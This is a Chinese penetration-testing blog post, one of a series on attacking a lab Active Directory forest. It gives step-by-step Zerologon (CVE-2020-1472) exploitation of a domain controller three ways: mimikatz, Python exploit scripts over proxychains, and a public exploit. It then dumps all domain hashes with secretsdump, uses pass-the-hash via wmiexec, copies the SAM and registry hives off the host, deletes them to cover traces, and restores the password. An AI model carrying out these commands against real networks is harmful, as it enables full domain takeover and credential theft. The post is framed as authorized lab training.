域森林中置零攻击(总)

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透 

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 -> 辅域控制器 -> 财务独立域

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸(财务独立域10.10.21.0/24)

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过前三期期隐藏通信隧道技术已经在内网域森林中建立了二级隧道,在前两期权限提升中将普通用户权限提升为system最高权限后,在前期对域森林进行横向移动后,最后在上期域控渗透后发现父域控等情况后进行跨域信任攻击获得权限,今天我们就来对域森林中域信任置零攻击进行总结,总结实战中如果遇到域控制器没别的攻击办法情况下如何利用置零攻击拿下域控制器的方法,利用这些方法在内网中遨游!

不会域控制器置零攻击的技术,就无法对内网机器进行进一步的渗透!!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)

拓扑图简介
1624859882_60d964eae22fd9c303a24.png!small?1624859883914为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林中父子域和辅域用户搭建分析

在通常情况下域控制器是管理员操作的系统,一般安全防护是较高的,除了域信任等攻击方法外,还有置零攻击是非常实用的,在实战当中只要发现了域控制器都可以使用置零攻击拿下对方的域控制器最高权限!最后进行横向移动!接下来将介绍域森林置零攻击的多种方法!带大家遨游域森林内网!

三、置零攻击-Mimikatz

置零攻击是CVE-2020-1472漏洞,思路是将域控制器的计算机服务用户的hash值置空,置空后就可以利用wmi技术无密码情况下登录查看对方域控制器中所有的散列值,获取到所有散列值情况后,在进行Hash重置替换,最后利用获取到的散列值进行横向控制,达到控制对方域控制器的方法!

1、工具地址

1)mimikatz下载

https://github.com/gentilkiwi/mimikatz

1624859895_60d964f7662315d26d717.png!small?1624859896363下载即可!

2)impacket环境安装

proxychains git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo pip3 install .
sudo python3 setup.py install

pip3安装:
wget https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py

利用代理安装impacket,然后按照我的命令步骤安装环境即可,最新版2021kali是存在该impacket的,老版本不存在需要手动自行安装环境:
1624859903_60d964ff70f6a3ef58427.png!small?1624859906899

2、 检测是否存在CVE-2020-1472漏洞

lsadump::zerologon /target:10.10.3.6 /account:XIYOU$

1624859909_60d965058f7a381ed85e3.png!small?1624859910735显示OK,Vulnerable存在该漏洞,接下来进行利用!

3、利用置零修改域控密码为空

lsadump::zerologon /target:10.10.3.6 /account:XIYOU$ /exploit

1624859916_60d9650cca970e7587efd.png!small?1624859918852回显两个OK显示成功,密码成功置零!

4、域控凭证通过dcsync获取域管机器用户的hash

proxychains impacket-secretsdump -no-pass -just-dc xiyou.dayu.com/XIYOU$@10.10.3.6

1624859924_60d96514c9101e4f7e477.png!small?1624859937763通过前面的impacket环境安装,直接利用通过-no-pass空值登录对方dc,获得dayu的子域控制器的所有用户hash!

5、PTH横向

利用获取的域管凭证进行hash注入获取一个域管权限的cmd.exe。这里的“domain:.”也可以是“domain:dayu”

c515ba5a374ae93dd2018cab7edfb42d

privilege::debug
sekurlsa::pth /user:Administrator /domain:. /ntlm:c515ba5a374ae93dd2018cab7edfb42d

1624859932_60d9651c0f0a8d6611c08.png!small?1624859941940可看到成功通过子域普通任意用户名横向攻击登录到子域控制器内!直接上线即可!

6、置空hash重置

在新开的cmd中使用mimikatz修改域控密码。mimikatz会将保存在域中的凭证以及注册表/lsass中的凭证同时修改为"Waza1234/Waza1234/Waza1234/",这样不影响域控的正常工作。

privilege::debug
lsadump::postzerologon /target:10.10.3.6 /account:XIYOU$

1624859937_60d96521d076e9d7b3a92.png!small?1624859941940成功将空值修改为Waza1234/Waza1234/Waza1234/,这样域控生产环境就可以继续运行工作了,验证方法可以再次使用impacket环境,利用通过-no-pass空值登录对方dc,如果不成功无法登录就已重置!

四、重置攻击-zerologon

第一种方法是mimikatz需要免杀才可以进行操作,那么第二种方法是在不接触对方系统情况下,利用socks5隧道使用zerologon进行置零攻击行为!

1、重置攻击利用

下载地址:

https://github.com/De4dCr0w/Vulnerability-analyze

1624859944_60d96528162f8c0d1ffa7.png!small?1624859944815

2、验证漏洞

1)测试是否存在漏洞:

cd /root/Desktop/test12/Vulnerability-analyze/Zerologon-CVE-2020-1472

proxychains python3 zerologon_tester.py XIYOU 10.10.3.6

1624859951_60d9652f04e7c2846ef21.png!small?1624859958380通过前几期隧道代理的socks5隧道进行连接攻击,成功检测对方域控存在置零漏洞。

2)windows验证漏洞

或者在windows环境下执行:需要python3.8以上环境,开启代理执行!

下载地址:

https://github.com/picussecurity/picuslabs/blob/master/CVE-2020-1472%20Zerologon/zerologon_tester.zip

检测漏洞是否存在:
需要windows存在python3.8环境或以上环境!开启代理!

.\zerologon_tester.exe XIYOU 10.10.3.6

1624859959_60d965377616e8ac23ae0.png!small?1624859962335

可看到漏洞存在!

3、置零哈希攻击

1)执行命令:

proxychains python3 CVE-2020-1472.py XIYOU XIYOU$ 10.10.3.6

1624859965_60d9653dcd61de09514f2.png!small?16248599710081624859971_60d96543acc4c8991ea02.png!small?1624859975277通过回显+成功置零攻击!

4、域控凭证通过dcsync获取域管机器用户的hash

proxychains impacket-secretsdump -no-pass -just-dc xiyou.dayu.com/XIYOU$@10.10.3.6

1624859984_60d9655050e1452e2f967.png!small?1624859998567通过前面的impacket环境安装,直接利用通过-no-pass空值登录对方dc,获得dayu的子域控制器的所有用户hash!

5、还原初始密码

通过第一种方法知道是强制修改对方置零空值后的密码,那么第二种方法教给大家是进行原密码重置!

proxychains wmiexec.py -hashes :c515ba5a374ae93dd2018cab7edfb42d ./Administrator@10.10.3.6

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

1624859991_60d96557e9fb6dcfabcbe.png!small?1624859998567通过wmiexec横向登录对方administrator系统后,通过reg调出底层的sam包,sam包里面包含了所有的散列值,通过get将sam包下载到本地kali上,在清理痕迹!

6、impacket读取sam中哈希

使用impacket中的secretsdump拿到域控机器账户原始哈希:

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

1624860004_60d96564773e55527d941.png!small?1624860022771获取到对方原用户哈希!然后进行替换即可!

7、哈希重置恢复

将dc机器用户密码恢复:

https://github.com/risksense/zerologon

proxychains python3 reinstall_original_pw.py XIYOU 10.10.3.6 f5369b5accc878d9eedfcde13578e2fc

1624860011_60d9656b6cb113360bdb9.png!small?16248600238011624860016_60d965701dcb86727fff1.png!small?1624860023802

Success! DC machine account should be restored to it’s original value. You might want to secretsdump again to check.
成功! DC计算机帐户应恢复为其原始值。 您可能要再次进行secretdump检查。

8、验证是否重置哈希

1624860026_60d9657ac672ef41ee0da.png!small?1624860033742经过测试,执行两次,就无法利用空hash获取了!

五、置零攻击方法拓展

1、环境安装

第三种方法是国内大佬写的,这边我还是推出来,也是很不错的方法,技多不压身!

proxychains git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo pip3 install .
sudo python3 setup.py install

pip3安装:
wget https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py

需要安装pip3环境,跟着命令安装即可!

2、验证漏洞

使用zerologon_tester.py,验证是否存在漏洞,下载地址:

https://github.com/SecuraBV/CVE-2020-1472
pip install -r requirements.txt

proxychains python3 zerologon_tester.py XIYOU 10.10.3.6

1624860036_60d9658426ee29a4ed890.png!small?1624860040207

1624860041_60d965896b5b345a29aeb.png!small?1624860043768验证漏洞存在!

3、置零哈希

使用cve-2020-1472-exploit.py将机器账户重置
下载地址:

https://github.com/VoidSec/CVE-2020-1472

proxychains python3 cve-2020-1472-exploit.py -n XIYOU$ -t 10.10.3.6

1624860052_60d965941822320ee8e54.png!small?16248600698841624860057_60d96599b577f342a864b.png!small?1624860069885选择Y后执行置零攻击,回显可看成功!

4、读取所有用户哈希

域控的机器账户可以使用DCSync导出域内所有用户凭据:
1624860064_60d965a0cd438b62c0e2d.png!small?1624860069884

1624860071_60d965a738ef128d71bcd.png!small?1624860087628

proxychains impacket-secretsdump -no-pass -just-dc xiyou.dayu.com/XIYOU$@10.10.3.6

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c515ba5a374ae93dd2018cab7edfb42d:::

可看到Kerberos所有hash都获取到了!

5、恢复哈希

恢复xiyou$机器账户的密码通过,然后通过wmic, pass the hash 拿到域控制器中的本地管理员权限(域管),这里和第二种方法一样!

cp /usr/share/doc/python3-impacket/examples/wmiexec.py .
chmod +x wmiexec.py

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c515ba5a374ae93dd2018cab7edfb42d xiyou.dayu.com/Administrator@10.10.3.6

1624860079_60d965afe987514d95c84.png!small?1624860087629注意这一步一定要尽量快。

然后分别执行,拷贝本机中SAM数据库到本地端:

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

1624860092_60d965bc0e10c5b3a147b.png!small?16248601011771624860097_60d965c1185aa7d88356a.png!small?1624860101178成功提取sam!

6、Sam提取哈希

提取出机器账号的明文hex:

proxychains impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

1624860105_60d965c942acc40822b8c.png!small?1624860121547

成功获得hex原哈希值!

7、恢复哈希值

这里需要注意是XIYOU@XIYOU:

proxychains python3 restorepassword.py XIYOU@XIYOU -target-ip 10.10.3.6 -hexpass 7d84bc622f852f1976a056720cf54f2e7dd9fadcdec4d1b5be4e34be05a48bacdfc8907a012399a3e1b7d6c83a9207d864ecaca6db8c436f8b4c3880b536a22f50cc280e2174247cf7a0e1b0ee24a839d345c2574fbea42d4d8afae4b7702c158625ab4d2d679e8d56d32545c9d4fc75e2a5c1da6115bf1340d470054157388478f08043e1a1c0c20a19f66153dab655e1e634841fb66632d2ed15402ae68127f97eedcbc7967ccb4fd8309a9fede03be92bee224acd009725ce293a6d81f9b63eec92a2f4ea7d15964b2f12c9c606c54544d42d6672db059f127685a8c794fa130ba1894c983ad919e3f624411ba416

1624860112_60d965d0481bf337de81c.png!small?1624860121547可以看到信息完整哈希恢复了!

六、总结

1、mimikatz使用起来比zerologon方便快捷,极大的缩短了域控凭证恢复时间,减小对业务的影响以及被发现的可能。

2、mimikatz利用过程中第三步dcsync需要域名等信息,且需要当前计算机可以解析域控的IP。当前计算机在域内时使用这种方式比较便捷。建议使用zerologon利用过程的第三步进行替换。

3、mimikatz利用过程中第四步hash注入需要具有SeDebugPrivilege权限

4、mimikatz利用过程中第四步hash注入在win10环境下需要绕过LSA Protection,该功能需要mimidrv.sys文件,未绕过LSA Protection 时报错!

置零攻击在域环境森林中会起到奇效,能更快的直接拿下域控制器的权限!从而拿下所有域控下的域用户的哈希进行横向攻击!

公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> 域森林中横向移动(下)-> 域森林中域控制安全(上)-> 域森林中域控制安全(下)-> 域森林中跨域攻击(总)-> 域森林中置零攻击(总)-> 域森林中权限维持(上)…

接下来在《域森林中权限维持(上)》中会接触到各式各样权限维持的方式方法,如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中跨域攻击篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值